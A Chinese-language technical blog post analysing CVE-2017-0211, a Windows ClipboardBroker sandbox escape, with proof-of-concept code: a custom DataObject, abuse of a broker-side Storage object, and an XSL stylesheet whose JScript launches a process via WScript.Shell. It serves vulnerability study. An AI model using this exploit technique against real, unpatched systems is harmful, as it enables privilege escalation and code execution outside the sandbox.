• RuntimeBroker ClipboardBroker EoP


    datetime: 2017.04.28

    漏洞简介

         随着沙箱技术的普及,现在主流的操作系统及软件都开始支持沙箱,以此来缓解层出不穷的远程代码执行漏洞对系统造成的危害。AppContainer是自Windows 8引入的沙箱技术,最新的UWP应用会强制启用AppContainner沙箱。
    因此,Edge浏览器也使用AppContainner作为沙箱来最大限度保护系统安全。并且微软还为Edge浏览器加入了更多的缓解机制来进一步加强沙箱。

        传统的沙箱逃逸往往借助内核漏洞等来实现权限提升,而Jame Forshaw发现的CVE-2017-0211则利用Windows Runtime的实现缺陷进行沙箱逃逸,最终实现权限提升。此漏洞的原理和利用过程都比较精妙,本文将对此漏洞的原理和利用方法进行分析。

    漏洞原理

        UWP应用是指使用WinRT API开发的Modern UI风格应用程序,WinRT API是微软自Win8引入的用于应用程序开发的组件集(Windows Runtime Components),它基于COM技术发展而来。在Windows 10上,WinRT组件被注册成Windows Runtime Class。这些运行时类的相关信息被注册在ComputerHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsRuntime中。所有的UWP应用都强制位于AppContainner沙箱中(Low Integrity),导致其权限受到限制,当其访问外部资源时都需要通过相应的Broker来进行操作。因此,有许多WinRT组件都位于RuntimeBroker.exe进程(Medium Integrity)中,来实现权限检查和代理操作。CVE-2017-0211便是由于Clipboard Broker的设计缺陷导致的权限提升漏洞。

    WinRT剪切板访问的实现

        在Windows系统中,COM接口提供了一种用于在不同的应用程序中交换数据(剪切板操作、拖拽操作)的机制,其核心是数据对象Data Object。数据对象Data Object用来代表任何实现了IDataObject接口的对象,基于需要的数据对象或应用场景,开发者可以在继承自IDataObject接口的Data Object中实现某些方法。
        WinRT API扩展自COM,因此其内部也使用IDataObject来操作剪切板,所不同的是UWP进程对剪切板的访问请求会被OLE32通过RPC转发至RuntimeBroker进行处理。同时,为了阻止UWP进程(Low Integrity)篡改其他进程设置的剪切板内容,ClipboardBroker还要对UWP进程的SetData行为进行限制。

        基于以上目的,ClipboardBroker被设计成:
        • 当UWP进程(数据生产者)通过OleSetClipboard() 设置DataObject时,由ClipboardBroker充当代理将DataObject设置到剪切板中;
        • 当UWP进程(数据消费者)通过OleGetClipboard() 请求DataObject时,ClipboardBroker会返回一个封装对象(DataObject Wrapper——CClipDataObject)。并由ClipboardBroker来作为代理从数据源(数据生产者)请求数据。
        • 在封装对象CClipDataObject里,对SetData做过滤,阻止AppContainer进程设置其他进程DataObject中的数据,如下图所示

    漏洞成因

        根据ClipboardBroker的实现,它并不返回原始的DataObject给UWP进程(数据消费者),取而代之的是一个封装对象。因此,对原始DataObject(数据生产者)的任何请求都将由高权限的ClipboardBroker代理发起。并且,IDataObject::GetDataHere 的输入参数STGMEDIUM要求由调用者申请,当它是一个Storage对象时,便可以被低权限的UWP进程使用。
        再结合UWP进程可以设置自定义的DataObject(通过OleSetClipboard()实现),导致攻击者可以重用这一系列功能最终实现权限提升。James Forshaw提供的POC的调用分析如下表所示(此表仅作为漏洞分析记录,请读者转到漏洞利用分析部分阅读)

    漏洞利用

        在这个场景下,漏洞利用过程将通过OleSetClipboard和OleGetClipboard同时扮演数据生产者和数据消费者,从而重用DataObject的功能。

    创建自定义DataObject

        MyDataObject继承自IDataObject,主要实现了EnumFormatEtc, GetDataHere两个方法。
        • EnumFormatEtc用来向数据消费者说明此DataObject支持哪些格式。由于之后要利用GetDataHere获取一个Storage对象,因此此处设置成TYMED_ISTORAGE存储媒介类型。
        • GetDataHere方法是漏洞利用的关键代码,主要完成:利用一个RuntimeBroker中的Storage对象实现任意代码执行。详细内容请见下一节。

    设置DataObject

        创建一个MyDataObject实例,使用它作为参数调用OleSetClipboard(_In_ LPDATAOBJECT pDataObj );  从而将此MyDataObject设置到剪切板中。
        这个过程主要涉及以下几个过程:
        • Ole32检测到当前进程在AppContainer中后,通过调用RuntimeBroker的CRuntimeBroker::GetClipboardBroker获取一个CClipboardBroker对象指针;并将CClipboardBroker对象指针保存在Tls线程局部存储区中。
        通过RPC调用RuntimeBroker中的ole32!CClipboardBroker::SetClipboard,将当前MyDataObject设置到剪切板中。
        • RuntimeBroker中的CClipboardBroker::SetClipboard被调用后,首先通过CoImpersonateClient() 模拟数据生产者的身份,打开并清空剪切板,设置关联到剪切板的窗口属性;然后将MyDataObject对象设置到剪切板,并通过RPC回调MyDataObject::EnumFormatEtc获取并设置剪切板格式,通过RPC回调MyDataObject::GetDataHere。最后通过CoRevertToSelf() 结束模拟。(注:由于存在CoImpersonateClient,因此在MyDataObject::GetDataHere的实现中,会通过_set_clipboard来判断OleSetClipboard是否已经完成)

    获取DataObject Wapper

        将MyDataObject设置到剪切板后,就可以再次扮演数据消费者重用OleGetClipboard(_Out_ LPDATAOBJECT *ppDataObj ); 从而获取MyDataObject的Wapper,对数据进行“消费“。
    RuntimeBroker中的ole32!CClipboardBroker::GetClipboard主要涉及对剪切板数据及格式的获取,对原始MyDataObject进行封装,最终会返回给数据消费者一个MyDataObject的Wapper——CClipDataObject。

    代码执行

        此时即可扮演数据消费者,调用IDataObject::GetData。这将导致RuntimeBroker中的ole32!CClipDataObject::GetData被调用,最终CClipDataObject::GetData会通过RPC回调至UWP进程中原始的MyDataObject::GetDataHere。由于GetDataHere的参数FORMATETC已经被指定为TYMED_ISTORAGE类型,因此STGMEDIUM参数将是一个在RuntimeBroker中创建的Storge对象指针。对IStorge的任何方法调用,都将通过RPC回调至RuntimeBroker中执行。
        在这里James Forshaw采用了一种非常精妙的利用方法,使用结构化存储对象Storage实现任意代码执行。下面将详细分析整个过程。

        • 函数原型
            GetDataHere(
                    /* [annotation][unique][in] */
                    _In_  FORMATETC *pformatetc,
                    /* [annotation][out][in] */
                    _Inout_  STGMEDIUM *pmedium)


        • 通过IStorage::CreateStorage利用RuntimeBroker中的Storage里创建一个新的可读可写的命名("TestStorage")存储对象——new_stg。相关代码如下:
            IStorage* stg = pmedium->pstg;
            IStorage* new_stg;
            stg->CreateStorage(L"TestStorage", 2 | 0x1000 | 0x10, 0, 0, &new_stg);


        • 实例化一个自定义的FakeClass类
        FakeClass类继承自IPersistStream接口,主要重载并实现了以下方法:IPersist::GetClassID, IPersistStream::Save, IPersistStream::GetSizeMax。
        其中,IPersist::GetClassID用来指示当前对象是一个XML DOM对象(FakeClass类将伪装成一个XML DOM对象);IPersistStream::Save用于后面通过PropertyBag来持久化FakeClass对象,保存Payload。
        注意,这里的Payload是一段XSL(Extensible Stylesheet Language)。相关代码如下:
            FakeClass* c = new FakeClass();
            
            virtual HRESULT STDMETHODCALLTYPE GetClassID(
                /* [out] */ __RPC__out CLSID *pClassID)
            {
                *pClassID = CLSID_MsXmlDomDocument6;
                return S_OK;
            }
            
            virtual HRESULT STDMETHODCALLTYPE Save(
                    /* [unique][in] */ __RPC__in_opt IStream *pStm,
                    /* [in] */ BOOL fClearDirty)
            {
                const char* xml = "<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad.exe'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>";
                Check(pStm->Write(xml, strlen(xml), nullptr));
                return S_OK;
            }
            
            
        • 使用FakeClass对象指针来初始化一个_variant_t
        因为_variant_t重载了"=",所以variant_t v = c; 将导致使用FakeClass对象来初始化_variant_t:初始化_variant_t.vt为VT_UNKNOWN,_variant_t.punkVal为IPersistStream。相关代码如下:
            
            variant_t v = c;
            
            inline _variant_t& _variant_t::operator=(IUnknown* pSrc)
            {
                _COM_ASSERT(V_VT(this) != VT_UNKNOWN || pSrc == NULL || V_UNKNOWN(this) != pSrc);
            
                // Clear VARIANT (This will Release() any previous occupant)
                //
                Clear();
            
                V_VT(this) = VT_UNKNOWN;
                V_UNKNOWN(this) = pSrc;
            
                if (V_UNKNOWN(this) != NULL) {
                    // Need the AddRef() as VariantClear() calls Release()
                    //
                    V_UNKNOWN(this)->AddRef();
                }
            
                return *this;
            }
        

        • 持久化FakeClass(XML DOM对象)到new_stg中
        通过new_stg查询IPropertyBag接口,并调用IPropertyBag::Write方法,从而将名为"Hello"的VARIANT属性(FakeClass对象)写入PropertyBag。查阅微软文档发现,调用者可以让PropertyBag保存VARIANT结构外的其他类型的对象。当_variant_t.vt为VT_UNKNOWN时,PropertyBag会查询被保存对象的持久化接口(这里是IPersistStream)。随后调用IPersistMedium::GetClassID获取CLSID,将其保存到存储介质上。最后调用IPersistStream::Save方法(即FakeClass重载的Save),将数据写入PropertyBag。
        持久化操作完成后,调用IStorage::Commit提交针对根存储对象(即RuntimeBroker中的Storage)的改变。相关代码如下:
            
            WriteToPropertyBag(new_stg, L"Hello", v);
            new_stg->Commit(STGC_DEFAULT));
            new_stg->Release();
            new_stg = nullptr;
            
            HRESULT WriteToPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
            {
                IPropertyBag* bag;
                HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
                if (SUCCEEDED(hr))
                {
                    hr = bag->Write(lpName, &v);
                    bag->Release();
                }
            
                return hr;
            }
            
            
        • 当数据被提交到RuntimeBroker中的Storage后,再次利用IPropertyBag接口,将名为"Hello"的FakeClass对象(XML DOM对象)读取出来。
            variant_t v2;
            v2.vt = VT_UNKNOWN;
            ReadFromPropertyBag(new_stg, L"Hello", v2);
            
            HRESULT ReadFromPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
            {
                IPropertyBag* bag;
            
                HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
                if (SUCCEEDED(hr))
                {
                    hr = bag->Read(lpName, &v, nullptr);
                    bag->Release();
                }
            
                return hr;
            }
            
            
        • 任意代码执行
        通过QueryInterface取回IXMLDOMDocument3接口指针。
        调用IXMLDOMDocument2::setProperty来设置DOM对象的AllowXsltScript属性,从而开启XSL 转换(Extensible Stylesheet Language Transform, XSLT)时“<msxsl:script>”标签的执行功能。
        一切就绪后,调用IXMLDOMNode::transformNode,执行这段XSL转换,最终导致“<msxsl:script>”标签中的JScript被执行。
            v2.punkVal->QueryInterface(&doc)
            variant_t true_var(true);
            doc->setProperty(bstr_t(L"AllowXsltScript"), true_var)
            bstr_t result;
            doc->transformNode(doc, result.GetAddress());
             

    总结

        整个漏洞原因和利用分析完毕后,可以看到此漏洞的关键点在于Clipboard Broker为了保护剪切板数据不被篡改,从而给原始的DataObject进行了封装。而这种封装将导致原始的DataObject永远不会被序列化到数据消费者进程空间内,使得对IDataObject的任何调用,都会由高权限的Clipboard Broker代理进行。因此,当原始的对象中存在敏感操作时,就可能会被攻击者所重用。最终造成权限提升。
        对于这个漏洞还需要注意的是,James Forshaw利用一个可控的Storage对象实现了代码执行。整个利用思路值得学习。

    Reference

    https://bugs.chromium.org/p/project-zero/issues/detail?id=1079

    附录-剪切板小结

        小结一下Desktop App和UWP App访问剪切板的方式。

    普通应用如何访问剪切板

        传统的桌面应用程序(Desktop App)可以通过两种方式访问剪切板:1. Win32 API;  2. Data Transfer Interfaces

    Win32 API

        写剪切板的一般步骤:
        1. OpenClipboard()
        2. EmptyClipboard()
        3. SetClipboardData(CF_TEXT,hClipboardData)
        4. CloseClipboard()

        读剪切板的一般步骤:
        1. OpenClipboard()
        2. GetClipboardData(CF_TEXT)
        3. CloseClipboard()

    https://msdn.microsoft.com/en-us/library/windows/desktop/ff468800(v=vs.85).aspx
    https://www.codeproject.com/Articles/2242/Using-the-Clipboard-Part-I-Transferring-Simple-Tex

    Data Transfer Interfaces

        Data Transfer Interfaces本身是Win32 API的封装,核心是IDataObject,在这个基础上通过剪切板实现了生产者和消费者的数据传输(剪切板数据交互、文件拖拽等功能)。下表列举了不同数据传输场景下需要使用的接口:


        写剪切板的一般步骤:
        1. Create IDataObject Instance
        2. OleSetClipboard() to pass a data-object pointer to OLE to place the IDataObject pointer onto the clipboard.
        3. OleFlushClipboard()

        读剪切板的一般步骤:
        1. OleGetClipboard() to get the data-object pointer
        2. (RPC) IDataObject::EnumFormatEtc()
        3. (RPC) IDataObject::GetData

    https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
    https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx

    UWP如何访问剪切板

        对于需要访问剪切板的UWP应用(UWP App/Modern App)来说,对应的WinRT API命名空间是Windows.ApplicationModel.DataTransfer。

        写剪切板的一般步骤:
        1. 创建一个DataPackage对象
        2. 将数据设置到DataPackage 对象中
        3. 使用Clipboard:: SetContent(DataPackage content)将DataPackage对象包含的数据设置到剪切板中。

        读剪切板的一般步骤:
        1. 调用Clipboard::GetContent()返回一个DataPackageView对象
        2. 通过DataPackageView的方法读取数据内容

        数据又是如何写进剪切板的呢?逆向分析Clipboard:: SetContent的实现,其步骤如下图所示:


        1. 调用参数DataPackage的GetView方法,获取一个只读的DataPackageView对象。实际上DataPackageView对象是一个实现了IDataObject的Data Object。
        2. 将DataPackageView作为参数,调用OleSetClipboard(DataPackageView),最终RuntimeBroker中的CClipboardBroker会将数据写进剪切板

        由上面的过程我们可以得到结论:Windows.ApplicationModel.DataTransfer实际上是Data Transfer Interfaces的封装,内部一样使用IDataObject实现剪切板访问或拖拽功能;

  • 相关阅读:
    Bzoj 4408: [Fjoi 2016]神秘数 可持久化线段树,神题
    Bzoj 4034: [HAOI2015]T2 树链剖分,子树问题,dfs序
    Bzoj 1984: 月下“毛景树” 树链剖分
    面试题14:调整数组顺序使奇数位于偶数前面
    面试题13:在O(1)时间删除链表结点
    面试题12:打印1到最大的n位数
    面试题11:数值的整数次方
    面试题10:二进制中1的个数
    [找程序员代写推荐]不要说你工作多久,多厉害!这些题不从网上找答案,你能做出来吗???
    [原]Android开发技巧--ListView
  • 原文地址:https://www.cnblogs.com/Danny-Wei/p/6869115.html
Copyright © 2020-2023  润新知